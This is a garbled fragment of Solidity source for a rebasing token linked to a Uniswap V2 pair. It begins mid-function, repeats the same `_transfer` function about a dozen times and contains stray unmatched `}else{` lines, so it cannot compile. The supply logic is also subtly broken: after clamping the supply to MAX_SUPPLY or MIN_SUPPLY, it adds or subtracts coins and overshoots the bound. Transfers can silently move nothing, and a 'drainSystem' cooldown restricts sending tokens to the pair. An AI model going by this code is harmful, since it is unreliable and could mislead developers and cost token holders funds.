if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
}else{
}else{
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
}else{
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function _transfer(address from, address to, uint256 value) internal returns (uint256) {
require(balanceOf(from) >= value);
uint256 _transferred = 0;
bool isNewUser = info.users[to].balance == 0;
if(isNewUser)
{
info.users[to].appliedTokenCirculation = info.totalSupply;
info.users[to].executeTransferTimeOut = now;
info.contractUsers.push(to);
}
if(to == info.uniswapV2PairAddress){
require(info.users[from].executeTransferTimeOut + info.drainSystem < now);
info.users[from].executeTransferTimeOut = now;
}
if(from == info.uniswapV2PairAddress){
info.users[to].executeTransferTimeOut = now;
}
if(info.uniswapV2PairAddress != from && info.users[from].appliedTokenCirculation != info.totalSupply){
_adjRebase(from);
}
if(info.uniswapV2PairAddress != to && info.users[to].appliedTokenCirculation != info.totalSupply){
_adjRebase(to);
}
bool whenAbleToTransfer = info.users[from].appliedTokenCirculation == info.users[to].appliedTokenCirculation;
if(whenAbleToTransfer){
info.users[from].balance -= value;
_transferred = value;
info.users[to].balance += _transferred;
emit Transfer(from, to, _transferred);
}
if(info.uniswapV2PairAddress == from || info.uniswapV2PairAddress == to){
info.periodVolumenToken += value;
}
if(info.uniswapV2PairAddress != address(0) && !isNewUser){
if(info.coinWorkingTime + info.round < now)
{
uint256 countOfCoins = (((now - info.coinWorkingTime) / info.divider) * TOKEN_PRECISION) * info.rewardBonus;
info.coinWorkingTime = now;
if(info.periodVolumenToken >= info.totalSupply){
if(info.totalSupply + countOfCoins >= MAX_SUPPLY){
info.totalSupply = MAX_SUPPLY;
info.totalSupply += countOfCoins;
}
if(info.totalSupply <= countOfCoins + MIN_SUPPLY){
info.totalSupply = MIN_SUPPLY;
info.totalSupply -= countOfCoins;
}
}
info.periodVolumenToken = 0;
emit AdjustSupply(info.totalSupply);
}
}
if(info.uniswapV2PairAddress != address(0)){
if(info.users[info.uniswapV2PairAddress].appliedTokenCirculation != info.totalSupply){
_adjRebase(info.uniswapV2PairAddress);
}
if(info.uniswapV2PairAddress != from && info.uniswapV2PairAddress != to){
IUniswapV2Pair(info.uniswapV2PairAddress).sync();
}
}
return _transferred;
}
function initRebase (address _uniswapV2PairAddress) onlyOwner public {
require(!info.initialSetup);
info.initialSetup = true;
info.coinWorkingTime = now;
info.uniswapV2PairAddress = _uniswapV2PairAddress;
}
function rebaseTimeInfo() public view returns (bool _isTimeToRebase, uint256 _timeNow, uint256 _workingTime, uint256 _roundTime) {
bool isTimeToRebase = info.coinWorkingTime + info.round < now;
return(isTimeToRebase, now, info.coinWorkingTime, info.round);
}
function volTime() public view returns (uint256 volumenOnToken, uint256 _coinsToAddOrRemove, uint256 _totalSupply, uint256 _futureTotalSupply) {
